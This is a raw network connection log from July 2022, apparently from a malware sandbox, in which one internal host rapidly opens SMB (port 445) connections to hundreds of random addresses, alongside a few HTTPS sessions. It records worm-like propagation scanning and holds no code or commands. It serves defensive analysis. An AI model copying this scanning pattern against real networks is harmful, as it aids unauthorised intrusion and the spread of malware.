Jul 20, 2022 06:07:35.121181011 CEST	52088	445	192.168.2.6	178.159.42.44
Jul 20, 2022 06:07:35.150926113 CEST	445	52088	178.159.42.44	192.168.2.6
Jul 20, 2022 06:07:35.151061058 CEST	52088	445	192.168.2.6	178.159.42.44
Jul 20, 2022 06:07:35.151204109 CEST	52088	445	192.168.2.6	178.159.42.44
Jul 20, 2022 06:07:35.180504084 CEST	445	52088	178.159.42.44	192.168.2.6
Jul 20, 2022 06:07:35.249922991 CEST	52089	445	192.168.2.6	37.21.160.48
Jul 20, 2022 06:07:35.342143059 CEST	52091	445	192.168.2.6	178.159.42.45
Jul 20, 2022 06:07:35.390400887 CEST	52092	445	192.168.2.6	176.241.42.12
Jul 20, 2022 06:07:35.812031984 CEST	52097	445	192.168.2.6	70.62.243.37
Jul 20, 2022 06:07:35.878215075 CEST	52101	445	192.168.2.6	156.225.119.134
Jul 20, 2022 06:07:35.878740072 CEST	52102	445	192.168.2.6	29.202.172.199
Jul 20, 2022 06:07:35.879261971 CEST	52103	445	192.168.2.6	16.156.254.60
Jul 20, 2022 06:07:35.880081892 CEST	52104	445	192.168.2.6	42.220.149.181
Jul 20, 2022 06:07:35.880861998 CEST	52105	445	192.168.2.6	12.182.246.149
Jul 20, 2022 06:07:35.882277966 CEST	52107	445	192.168.2.6	143.106.182.16
Jul 20, 2022 06:07:35.883025885 CEST	52108	445	192.168.2.6	30.95.113.244
Jul 20, 2022 06:07:35.883718967 CEST	52109	445	192.168.2.6	41.230.174.167
Jul 20, 2022 06:07:35.884414911 CEST	52110	445	192.168.2.6	32.188.54.181
Jul 20, 2022 06:07:35.885190964 CEST	52111	445	192.168.2.6	76.218.235.32
Jul 20, 2022 06:07:35.886337042 CEST	52112	445	192.168.2.6	71.216.236.99
Jul 20, 2022 06:07:35.888323069 CEST	52113	445	192.168.2.6	81.20.109.76
Jul 20, 2022 06:07:35.899091005 CEST	52114	445	192.168.2.6	137.56.193.223
Jul 20, 2022 06:07:35.899704933 CEST	52115	445	192.168.2.6	88.56.46.86
Jul 20, 2022 06:07:35.913079023 CEST	52117	445	192.168.2.6	71.89.156.40
Jul 20, 2022 06:07:35.914544106 CEST	52119	445	192.168.2.6	93.134.87.144
Jul 20, 2022 06:07:35.914545059 CEST	52118	445	192.168.2.6	215.137.100.47
Jul 20, 2022 06:07:35.914609909 CEST	52120	445	192.168.2.6	41.76.4.103
Jul 20, 2022 06:07:35.914715052 CEST	52121	445	192.168.2.6	173.133.10.250
Jul 20, 2022 06:07:35.914808035 CEST	52124	445	192.168.2.6	91.41.99.51
Jul 20, 2022 06:07:35.914901018 CEST	52126	445	192.168.2.6	219.87.6.75
Jul 20, 2022 06:07:35.914918900 CEST	52125	445	192.168.2.6	88.83.123.162
Jul 20, 2022 06:07:35.915035963 CEST	52127	445	192.168.2.6	167.251.120.36
Jul 20, 2022 06:07:35.915179968 CEST	52129	445	192.168.2.6	48.181.94.112
Jul 20, 2022 06:07:35.915200949 CEST	52128	445	192.168.2.6	42.236.54.44
Jul 20, 2022 06:07:35.916455984 CEST	52131	445	192.168.2.6	152.53.163.19
Jul 20, 2022 06:07:35.916573048 CEST	52133	445	192.168.2.6	220.105.14.177
Jul 20, 2022 06:07:35.936539888 CEST	52134	445	192.168.2.6	215.127.194.193
Jul 20, 2022 06:07:36.336510897 CEST	52137	445	192.168.2.6	37.21.160.49
Jul 20, 2022 06:07:36.421199083 CEST	52138	445	192.168.2.6	178.159.42.46
Jul 20, 2022 06:07:36.452326059 CEST	445	52138	178.159.42.46	192.168.2.6
Jul 20, 2022 06:07:36.468492031 CEST	52140	445	192.168.2.6	176.241.42.13
Jul 20, 2022 06:07:36.953238010 CEST	52148	445	192.168.2.6	78.119.36.102
Jul 20, 2022 06:07:36.966295004 CEST	52138	445	192.168.2.6	178.159.42.46
Jul 20, 2022 06:07:36.995122910 CEST	445	52138	178.159.42.46	192.168.2.6
Jul 20, 2022 06:07:37.004681110 CEST	52150	445	192.168.2.6	110.223.5.144
Jul 20, 2022 06:07:37.004884958 CEST	52151	445	192.168.2.6	22.131.19.199
Jul 20, 2022 06:07:37.004955053 CEST	52152	445	192.168.2.6	152.12.166.2
Jul 20, 2022 06:07:37.005122900 CEST	52153	445	192.168.2.6	62.249.1.46
Jul 20, 2022 06:07:37.005141020 CEST	52154	445	192.168.2.6	96.196.224.117
Jul 20, 2022 06:07:37.005218983 CEST	52155	445	192.168.2.6	126.212.56.165
Jul 20, 2022 06:07:37.005369902 CEST	52157	445	192.168.2.6	47.90.80.155
Jul 20, 2022 06:07:37.005379915 CEST	52156	445	192.168.2.6	161.220.39.174
Jul 20, 2022 06:07:37.005461931 CEST	52159	445	192.168.2.6	66.65.161.150
Jul 20, 2022 06:07:37.005474091 CEST	52160	445	192.168.2.6	30.183.213.68
Jul 20, 2022 06:07:37.005563974 CEST	52158	445	192.168.2.6	65.45.233.121
Jul 20, 2022 06:07:37.020117044 CEST	52161	445	192.168.2.6	41.101.63.249
Jul 20, 2022 06:07:37.020270109 CEST	52163	445	192.168.2.6	122.13.205.216
Jul 20, 2022 06:07:37.020334959 CEST	52164	445	192.168.2.6	198.119.190.121
Jul 20, 2022 06:07:37.031054020 CEST	52166	445	192.168.2.6	26.244.180.248
Jul 20, 2022 06:07:37.031785965 CEST	52167	445	192.168.2.6	189.47.23.19
Jul 20, 2022 06:07:37.032437086 CEST	52168	445	192.168.2.6	126.242.246.29
Jul 20, 2022 06:07:37.033716917 CEST	52170	445	192.168.2.6	61.63.237.183
Jul 20, 2022 06:07:37.034404039 CEST	52171	445	192.168.2.6	90.225.171.43
Jul 20, 2022 06:07:37.048008919 CEST	52172	445	192.168.2.6	53.33.59.178
Jul 20, 2022 06:07:37.049458027 CEST	52173	445	192.168.2.6	163.101.162.229
Jul 20, 2022 06:07:37.049560070 CEST	52174	445	192.168.2.6	196.241.83.123
Jul 20, 2022 06:07:37.049690008 CEST	52176	445	192.168.2.6	18.153.67.151
Jul 20, 2022 06:07:37.049782038 CEST	52177	445	192.168.2.6	22.161.102.80
Jul 20, 2022 06:07:37.049844027 CEST	52178	445	192.168.2.6	67.230.189.215
Jul 20, 2022 06:07:37.049954891 CEST	52180	445	192.168.2.6	28.5.146.133
Jul 20, 2022 06:07:37.050034046 CEST	52181	445	192.168.2.6	45.128.157.158
Jul 20, 2022 06:07:37.062640905 CEST	52183	445	192.168.2.6	88.140.150.5
Jul 20, 2022 06:07:37.405275106 CEST	52185	445	192.168.2.6	37.21.160.50
Jul 20, 2022 06:07:37.482430935 CEST	52186	445	192.168.2.6	178.159.42.47
Jul 20, 2022 06:07:37.529232025 CEST	52188	445	192.168.2.6	176.241.42.14
Jul 20, 2022 06:07:37.580079079 CEST	445	52188	176.241.42.14	192.168.2.6
Jul 20, 2022 06:07:38.093040943 CEST	52195	445	192.168.2.6	28.210.235.73
Jul 20, 2022 06:07:38.132060051 CEST	52199	445	192.168.2.6	161.4.116.169
Jul 20, 2022 06:07:38.132631063 CEST	52200	445	192.168.2.6	54.114.28.202
Jul 20, 2022 06:07:38.133203030 CEST	52201	445	192.168.2.6	78.84.167.86
Jul 20, 2022 06:07:38.133774996 CEST	52202	445	192.168.2.6	216.92.21.49
Jul 20, 2022 06:07:38.134325027 CEST	52203	445	192.168.2.6	142.142.126.170
Jul 20, 2022 06:07:38.134895086 CEST	52204	445	192.168.2.6	137.66.10.186
Jul 20, 2022 06:07:38.135453939 CEST	52205	445	192.168.2.6	63.192.191.191
Jul 20, 2022 06:07:38.136025906 CEST	52206	445	192.168.2.6	77.152.160.31
Jul 20, 2022 06:07:38.136588097 CEST	52207	445	192.168.2.6	184.65.42.23
Jul 20, 2022 06:07:38.137139082 CEST	52208	445	192.168.2.6	41.142.43.245
Jul 20, 2022 06:07:38.138631105 CEST	52209	445	192.168.2.6	195.143.170.143
Jul 20, 2022 06:07:38.140117884 CEST	52211	445	192.168.2.6	131.72.75.155
Jul 20, 2022 06:07:38.140651941 CEST	52212	445	192.168.2.6	23.45.233.250
Jul 20, 2022 06:07:38.141180992 CEST	52213	445	192.168.2.6	45.143.45.76
Jul 20, 2022 06:07:38.142198086 CEST	52215	445	192.168.2.6	10.169.112.175
Jul 20, 2022 06:07:38.142734051 CEST	52216	445	192.168.2.6	56.173.53.77
Jul 20, 2022 06:07:38.143742085 CEST	52217	445	192.168.2.6	75.147.252.109
Jul 20, 2022 06:07:38.144305944 CEST	52218	445	192.168.2.6	222.108.78.92
Jul 20, 2022 06:07:38.144898891 CEST	52219	445	192.168.2.6	8.116.148.58
Jul 20, 2022 06:07:38.159972906 CEST	52221	445	192.168.2.6	173.67.58.26
Jul 20, 2022 06:07:38.160545111 CEST	52222	445	192.168.2.6	221.232.112.221
Jul 20, 2022 06:07:38.161664963 CEST	52224	445	192.168.2.6	63.37.220.86
Jul 20, 2022 06:07:38.162245035 CEST	52225	445	192.168.2.6	177.146.209.233
Jul 20, 2022 06:07:38.162884951 CEST	52226	445	192.168.2.6	140.234.171.70
Jul 20, 2022 06:07:38.164007902 CEST	52228	445	192.168.2.6	184.246.66.83
Jul 20, 2022 06:07:38.164544106 CEST	52229	445	192.168.2.6	162.202.186.112
Jul 20, 2022 06:07:38.165077925 CEST	52230	445	192.168.2.6	205.244.195.189
Jul 20, 2022 06:07:38.169727087 CEST	52188	445	192.168.2.6	176.241.42.14
Jul 20, 2022 06:07:38.172911882 CEST	52231	445	192.168.2.6	211.233.191.177
Jul 20, 2022 06:07:38.206490993 CEST	52233	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:38.206559896 CEST	443	52233	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:38.206660032 CEST	52233	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:38.206981897 CEST	52233	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:38.207003117 CEST	443	52233	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:38.220782042 CEST	445	52188	176.241.42.14	192.168.2.6
Jul 20, 2022 06:07:38.468126059 CEST	52235	445	192.168.2.6	37.21.160.51
Jul 20, 2022 06:07:38.565989971 CEST	52236	445	192.168.2.6	178.159.42.48
Jul 20, 2022 06:07:38.624417067 CEST	52237	445	192.168.2.6	176.241.42.15
Jul 20, 2022 06:07:38.716579914 CEST	443	52233	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:38.716736078 CEST	52233	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:38.728107929 CEST	52233	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:38.728142977 CEST	443	52233	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:38.728585958 CEST	443	52233	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:38.771265984 CEST	52233	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:38.812506914 CEST	443	52233	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:39.099986076 CEST	443	52233	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:39.100028038 CEST	443	52233	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:39.100042105 CEST	443	52233	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:39.100069046 CEST	443	52233	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:39.100127935 CEST	443	52233	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:39.100213051 CEST	52233	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:39.100239038 CEST	443	52233	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:39.100249052 CEST	52233	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:39.100291967 CEST	52233	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:39.100795031 CEST	443	52233	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:39.100845098 CEST	443	52233	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:39.100900888 CEST	52233	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:39.100914001 CEST	443	52233	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:39.100924969 CEST	52233	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:39.100943089 CEST	443	52233	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:39.100960970 CEST	52233	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:39.100967884 CEST	443	52233	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:39.101002932 CEST	52233	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:39.101069927 CEST	443	52233	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:39.101124048 CEST	52233	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:39.384466887 CEST	52233	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:39.384510040 CEST	443	52233	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:39.384546041 CEST	52233	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:39.384555101 CEST	443	52233	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:39.459904909 CEST	52242	445	192.168.2.6	85.92.105.122
Jul 20, 2022 06:07:39.460853100 CEST	52244	445	192.168.2.6	180.203.224.46
Jul 20, 2022 06:07:39.461319923 CEST	52245	445	192.168.2.6	221.107.75.9
Jul 20, 2022 06:07:39.461870909 CEST	52246	445	192.168.2.6	205.88.158.73
Jul 20, 2022 06:07:39.462876081 CEST	52248	445	192.168.2.6	221.121.94.177
Jul 20, 2022 06:07:39.463383913 CEST	52249	445	192.168.2.6	160.247.68.119
Jul 20, 2022 06:07:39.463903904 CEST	52250	445	192.168.2.6	198.85.30.39
Jul 20, 2022 06:07:39.464647055 CEST	52251	445	192.168.2.6	61.88.45.131
Jul 20, 2022 06:07:39.465179920 CEST	52252	445	192.168.2.6	207.53.77.86
Jul 20, 2022 06:07:39.465709925 CEST	52253	445	192.168.2.6	136.160.244.224
Jul 20, 2022 06:07:39.471554041 CEST	52254	445	192.168.2.6	85.165.245.50
Jul 20, 2022 06:07:39.472312927 CEST	52255	445	192.168.2.6	180.166.240.237
Jul 20, 2022 06:07:39.473069906 CEST	52256	445	192.168.2.6	15.236.42.96
Jul 20, 2022 06:07:39.473629951 CEST	52257	445	192.168.2.6	117.136.166.231
Jul 20, 2022 06:07:39.474153996 CEST	52258	445	192.168.2.6	125.18.156.53
Jul 20, 2022 06:07:39.475564003 CEST	52261	445	192.168.2.6	161.132.41.172
Jul 20, 2022 06:07:39.477906942 CEST	52266	445	192.168.2.6	193.56.53.227
Jul 20, 2022 06:07:39.478861094 CEST	52268	445	192.168.2.6	126.146.171.1
Jul 20, 2022 06:07:39.479376078 CEST	52269	445	192.168.2.6	202.252.102.56
Jul 20, 2022 06:07:39.480328083 CEST	52271	445	192.168.2.6	29.63.90.38
Jul 20, 2022 06:07:39.480848074 CEST	52272	445	192.168.2.6	114.83.44.249
Jul 20, 2022 06:07:39.492614031 CEST	52273	445	192.168.2.6	28.58.42.151
Jul 20, 2022 06:07:39.494649887 CEST	52275	445	192.168.2.6	189.161.148.12
Jul 20, 2022 06:07:39.494708061 CEST	52276	445	192.168.2.6	45.31.171.11
Jul 20, 2022 06:07:39.494803905 CEST	52277	445	192.168.2.6	157.244.41.225
Jul 20, 2022 06:07:39.494905949 CEST	52279	445	192.168.2.6	58.226.20.178
Jul 20, 2022 06:07:39.494978905 CEST	52280	445	192.168.2.6	7.147.127.197
Jul 20, 2022 06:07:39.550385952 CEST	52281	445	192.168.2.6	119.179.215.229
Jul 20, 2022 06:07:39.550510883 CEST	52282	445	192.168.2.6	1.102.83.159
Jul 20, 2022 06:07:39.551755905 CEST	52284	445	192.168.2.6	37.21.160.52
Jul 20, 2022 06:07:39.713114977 CEST	52286	445	192.168.2.6	178.159.42.49
Jul 20, 2022 06:07:39.740813017 CEST	445	52286	178.159.42.49	192.168.2.6
Jul 20, 2022 06:07:39.773304939 CEST	52287	445	192.168.2.6	176.241.42.16
Jul 20, 2022 06:07:40.325761080 CEST	52286	445	192.168.2.6	178.159.42.49
Jul 20, 2022 06:07:40.353516102 CEST	445	52286	178.159.42.49	192.168.2.6
Jul 20, 2022 06:07:40.608355999 CEST	52292	445	192.168.2.6	30.132.167.103
Jul 20, 2022 06:07:40.608858109 CEST	52293	445	192.168.2.6	128.206.21.65
Jul 20, 2022 06:07:40.610317945 CEST	52296	445	192.168.2.6	172.127.160.25
Jul 20, 2022 06:07:40.612617016 CEST	52301	445	192.168.2.6	165.70.214.104
Jul 20, 2022 06:07:40.613548040 CEST	52303	445	192.168.2.6	60.66.43.109
Jul 20, 2022 06:07:40.614103079 CEST	52304	445	192.168.2.6	121.115.96.89
Jul 20, 2022 06:07:40.614998102 CEST	52306	445	192.168.2.6	137.198.245.59
Jul 20, 2022 06:07:40.615499020 CEST	52307	445	192.168.2.6	167.37.232.156
Jul 20, 2022 06:07:40.616161108 CEST	52308	445	192.168.2.6	111.191.216.46
Jul 20, 2022 06:07:40.616769075 CEST	52309	445	192.168.2.6	64.12.171.20
Jul 20, 2022 06:07:40.617280960 CEST	52310	445	192.168.2.6	102.124.47.3
Jul 20, 2022 06:07:40.617856979 CEST	52311	445	192.168.2.6	209.127.88.176
Jul 20, 2022 06:07:40.618362904 CEST	52312	445	192.168.2.6	107.186.37.75
Jul 20, 2022 06:07:40.618846893 CEST	52313	445	192.168.2.6	218.253.44.250
Jul 20, 2022 06:07:40.619848013 CEST	52315	445	192.168.2.6	80.135.148.202
Jul 20, 2022 06:07:40.620384932 CEST	52316	445	192.168.2.6	184.17.146.124
Jul 20, 2022 06:07:40.620887995 CEST	52317	445	192.168.2.6	50.103.139.47
Jul 20, 2022 06:07:40.621849060 CEST	52319	445	192.168.2.6	120.142.224.65
Jul 20, 2022 06:07:40.622356892 CEST	52320	445	192.168.2.6	143.207.141.71
Jul 20, 2022 06:07:40.673898935 CEST	52321	445	192.168.2.6	45.147.216.104
Jul 20, 2022 06:07:40.674469948 CEST	52322	445	192.168.2.6	163.68.193.151
Jul 20, 2022 06:07:40.675045013 CEST	52323	445	192.168.2.6	98.229.95.163
Jul 20, 2022 06:07:40.675857067 CEST	52324	445	192.168.2.6	37.21.160.53
Jul 20, 2022 06:07:40.728713036 CEST	52326	445	192.168.2.6	141.226.213.118
Jul 20, 2022 06:07:40.729259968 CEST	52327	445	192.168.2.6	45.66.12.150
Jul 20, 2022 06:07:40.729749918 CEST	52328	445	192.168.2.6	113.105.58.224
Jul 20, 2022 06:07:40.730699062 CEST	52330	445	192.168.2.6	55.244.141.73
Jul 20, 2022 06:07:40.731177092 CEST	52331	445	192.168.2.6	20.187.171.136
Jul 20, 2022 06:07:40.731662035 CEST	52332	445	192.168.2.6	119.32.84.27
Jul 20, 2022 06:07:40.732410908 CEST	52333	445	192.168.2.6	203.17.238.122
Jul 20, 2022 06:07:40.782300949 CEST	445	52327	45.66.12.150	192.168.2.6
Jul 20, 2022 06:07:40.788834095 CEST	445	52312	107.186.37.75	192.168.2.6
Jul 20, 2022 06:07:40.789056063 CEST	52312	445	192.168.2.6	107.186.37.75
Jul 20, 2022 06:07:41.325887918 CEST	52327	445	192.168.2.6	45.66.12.150
Jul 20, 2022 06:07:41.378814936 CEST	445	52327	45.66.12.150	192.168.2.6
Jul 20, 2022 06:07:41.879810095 CEST	52312	445	192.168.2.6	107.186.37.75
Jul 20, 2022 06:07:41.880675077 CEST	52336	445	192.168.2.6	107.186.37.1
Jul 20, 2022 06:07:41.885520935 CEST	52337	445	192.168.2.6	178.159.42.50
Jul 20, 2022 06:07:41.886260033 CEST	52338	445	192.168.2.6	176.241.42.17
Jul 20, 2022 06:07:41.912539005 CEST	445	52337	178.159.42.50	192.168.2.6
Jul 20, 2022 06:07:41.939224005 CEST	445	52338	176.241.42.17	192.168.2.6
Jul 20, 2022 06:07:41.972002029 CEST	52339	445	192.168.2.6	37.21.160.54
Jul 20, 2022 06:07:41.993201017 CEST	52340	445	192.168.2.6	54.88.197.121
Jul 20, 2022 06:07:41.993874073 CEST	52341	445	192.168.2.6	136.45.192.80
Jul 20, 2022 06:07:41.995151997 CEST	52343	445	192.168.2.6	130.185.132.35
Jul 20, 2022 06:07:41.995815992 CEST	52344	445	192.168.2.6	125.93.254.92
Jul 20, 2022 06:07:42.050286055 CEST	445	52312	107.186.37.75	192.168.2.6
Jul 20, 2022 06:07:42.050308943 CEST	445	52312	107.186.37.75	192.168.2.6
Jul 20, 2022 06:07:42.088979006 CEST	52345	445	192.168.2.6	92.74.86.10
Jul 20, 2022 06:07:42.090625048 CEST	52347	445	192.168.2.6	196.205.249.37
Jul 20, 2022 06:07:42.091437101 CEST	52348	445	192.168.2.6	29.212.132.196
Jul 20, 2022 06:07:42.220422983 CEST	52355	445	192.168.2.6	184.232.124.35
Jul 20, 2022 06:07:42.220535040 CEST	52357	445	192.168.2.6	90.197.93.37
Jul 20, 2022 06:07:42.220695019 CEST	52358	445	192.168.2.6	138.67.99.104
Jul 20, 2022 06:07:42.220778942 CEST	52359	445	192.168.2.6	95.244.210.254
Jul 20, 2022 06:07:42.220917940 CEST	52361	445	192.168.2.6	50.100.104.180
Jul 20, 2022 06:07:42.221066952 CEST	52362	445	192.168.2.6	29.84.39.35
Jul 20, 2022 06:07:42.221144915 CEST	52363	445	192.168.2.6	192.208.175.239
Jul 20, 2022 06:07:42.221245050 CEST	52364	445	192.168.2.6	210.24.4.208
Jul 20, 2022 06:07:42.221359015 CEST	52365	445	192.168.2.6	54.78.225.103
Jul 20, 2022 06:07:42.221626043 CEST	52366	445	192.168.2.6	135.78.59.77
Jul 20, 2022 06:07:42.221847057 CEST	52367	445	192.168.2.6	217.66.79.229
Jul 20, 2022 06:07:42.221930027 CEST	52368	445	192.168.2.6	94.37.138.45
Jul 20, 2022 06:07:42.222243071 CEST	52371	445	192.168.2.6	39.72.188.237
Jul 20, 2022 06:07:42.222645998 CEST	52376	445	192.168.2.6	109.28.37.173
Jul 20, 2022 06:07:42.222853899 CEST	52378	445	192.168.2.6	216.101.98.141
Jul 20, 2022 06:07:42.224320889 CEST	52379	445	192.168.2.6	216.183.17.148
Jul 20, 2022 06:07:42.224620104 CEST	52381	445	192.168.2.6	180.247.55.65
Jul 20, 2022 06:07:42.224704027 CEST	52382	445	192.168.2.6	61.195.198.117
Jul 20, 2022 06:07:42.224822998 CEST	52383	445	192.168.2.6	94.94.105.94
Jul 20, 2022 06:07:42.224931002 CEST	52384	445	192.168.2.6	159.97.190.113
Jul 20, 2022 06:07:42.225054979 CEST	52385	445	192.168.2.6	27.217.141.80
Jul 20, 2022 06:07:42.436549902 CEST	445	52381	180.247.55.65	192.168.2.6
Jul 20, 2022 06:07:42.466521978 CEST	52337	445	192.168.2.6	178.159.42.50
Jul 20, 2022 06:07:42.493514061 CEST	445	52337	178.159.42.50	192.168.2.6
Jul 20, 2022 06:07:42.513752937 CEST	52338	445	192.168.2.6	176.241.42.17
Jul 20, 2022 06:07:42.565584898 CEST	445	52338	176.241.42.17	192.168.2.6
Jul 20, 2022 06:07:42.952145100 CEST	52388	445	192.168.2.6	176.241.42.18
Jul 20, 2022 06:07:42.952148914 CEST	52387	445	192.168.2.6	107.186.37.2
Jul 20, 2022 06:07:42.952219009 CEST	52389	445	192.168.2.6	178.159.42.51
Jul 20, 2022 06:07:42.966547966 CEST	52381	445	192.168.2.6	180.247.55.65
Jul 20, 2022 06:07:43.045380116 CEST	52390	445	192.168.2.6	37.21.160.55
Jul 20, 2022 06:07:43.109217882 CEST	52392	445	192.168.2.6	9.196.15.85
Jul 20, 2022 06:07:43.109242916 CEST	52391	445	192.168.2.6	90.33.108.78
Jul 20, 2022 06:07:43.109422922 CEST	52394	445	192.168.2.6	180.10.248.36
Jul 20, 2022 06:07:43.109596968 CEST	52395	445	192.168.2.6	113.30.157.180
Jul 20, 2022 06:07:43.121437073 CEST	445	52387	107.186.37.2	192.168.2.6
Jul 20, 2022 06:07:43.121593952 CEST	52387	445	192.168.2.6	107.186.37.2
Jul 20, 2022 06:07:43.121637106 CEST	52387	445	192.168.2.6	107.186.37.2
Jul 20, 2022 06:07:43.125432014 CEST	52396	445	192.168.2.6	107.186.37.2
Jul 20, 2022 06:07:43.179665089 CEST	445	52381	180.247.55.65	192.168.2.6
Jul 20, 2022 06:07:43.202831984 CEST	52397	445	192.168.2.6	223.220.174.217
Jul 20, 2022 06:07:43.203258991 CEST	52398	445	192.168.2.6	142.3.192.252
Jul 20, 2022 06:07:43.203285933 CEST	52399	445	192.168.2.6	95.94.228.136
Jul 20, 2022 06:07:43.289565086 CEST	445	52387	107.186.37.2	192.168.2.6
Jul 20, 2022 06:07:43.289582968 CEST	445	52387	107.186.37.2	192.168.2.6
Jul 20, 2022 06:07:43.293322086 CEST	445	52396	107.186.37.2	192.168.2.6
Jul 20, 2022 06:07:43.293442011 CEST	52396	445	192.168.2.6	107.186.37.2
Jul 20, 2022 06:07:43.293576956 CEST	52396	445	192.168.2.6	107.186.37.2
Jul 20, 2022 06:07:43.305262089 CEST	52402	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:43.305304050 CEST	443	52402	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:43.305512905 CEST	52402	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:43.306020021 CEST	52402	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:43.306044102 CEST	443	52402	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:43.352400064 CEST	52403	445	192.168.2.6	78.124.254.109
Jul 20, 2022 06:07:43.352628946 CEST	52404	445	192.168.2.6	35.18.102.185
Jul 20, 2022 06:07:43.353008032 CEST	52405	445	192.168.2.6	13.160.53.152
Jul 20, 2022 06:07:43.353050947 CEST	52406	445	192.168.2.6	157.32.231.16
Jul 20, 2022 06:07:43.353141069 CEST	52407	445	192.168.2.6	56.156.133.232
Jul 20, 2022 06:07:43.353238106 CEST	52409	445	192.168.2.6	128.158.6.204
Jul 20, 2022 06:07:43.353249073 CEST	52410	445	192.168.2.6	194.209.78.101
Jul 20, 2022 06:07:43.353358030 CEST	52412	445	192.168.2.6	176.123.149.236
Jul 20, 2022 06:07:43.353533030 CEST	52419	445	192.168.2.6	138.16.227.166
Jul 20, 2022 06:07:43.353548050 CEST	52418	445	192.168.2.6	130.56.185.131
Jul 20, 2022 06:07:43.353652000 CEST	52420	445	192.168.2.6	62.36.46.215
Jul 20, 2022 06:07:43.353688955 CEST	52421	445	192.168.2.6	184.26.180.215
Jul 20, 2022 06:07:43.353740931 CEST	52422	445	192.168.2.6	187.67.75.6
Jul 20, 2022 06:07:43.353765011 CEST	52423	445	192.168.2.6	191.34.232.195
Jul 20, 2022 06:07:43.353832960 CEST	52424	445	192.168.2.6	74.178.151.87
Jul 20, 2022 06:07:43.353913069 CEST	52426	445	192.168.2.6	139.1.168.88
Jul 20, 2022 06:07:43.353976011 CEST	52427	445	192.168.2.6	161.192.57.94
Jul 20, 2022 06:07:43.354028940 CEST	52429	445	192.168.2.6	220.141.162.8
Jul 20, 2022 06:07:43.354079008 CEST	52430	445	192.168.2.6	140.119.103.76
Jul 20, 2022 06:07:43.354131937 CEST	52431	445	192.168.2.6	131.185.156.22
Jul 20, 2022 06:07:43.354207039 CEST	52433	445	192.168.2.6	92.25.174.41
Jul 20, 2022 06:07:43.449589014 CEST	443	52402	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:43.449742079 CEST	52402	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:43.452322960 CEST	52402	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:43.452348948 CEST	443	52402	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:43.452752113 CEST	443	52402	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:43.453814030 CEST	52402	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:43.463042021 CEST	445	52396	107.186.37.2	192.168.2.6
Jul 20, 2022 06:07:43.463319063 CEST	52396	445	192.168.2.6	107.186.37.2
Jul 20, 2022 06:07:43.496536970 CEST	443	52402	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:43.543562889 CEST	443	52402	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:43.543589115 CEST	443	52402	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:43.543610096 CEST	443	52402	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:43.543694019 CEST	52402	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:43.543741941 CEST	443	52402	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:43.543766975 CEST	52402	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:43.543817043 CEST	443	52402	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:43.543817043 CEST	52402	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:43.543832064 CEST	443	52402	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:43.543899059 CEST	443	52402	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:43.543909073 CEST	52402	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:43.543934107 CEST	443	52402	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:43.543987989 CEST	52402	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:43.543999910 CEST	443	52402	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:43.544009924 CEST	52402	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:43.544065952 CEST	52402	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:43.546981096 CEST	52402	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:43.547010899 CEST	443	52402	20.54.89.106	192.168.2.6
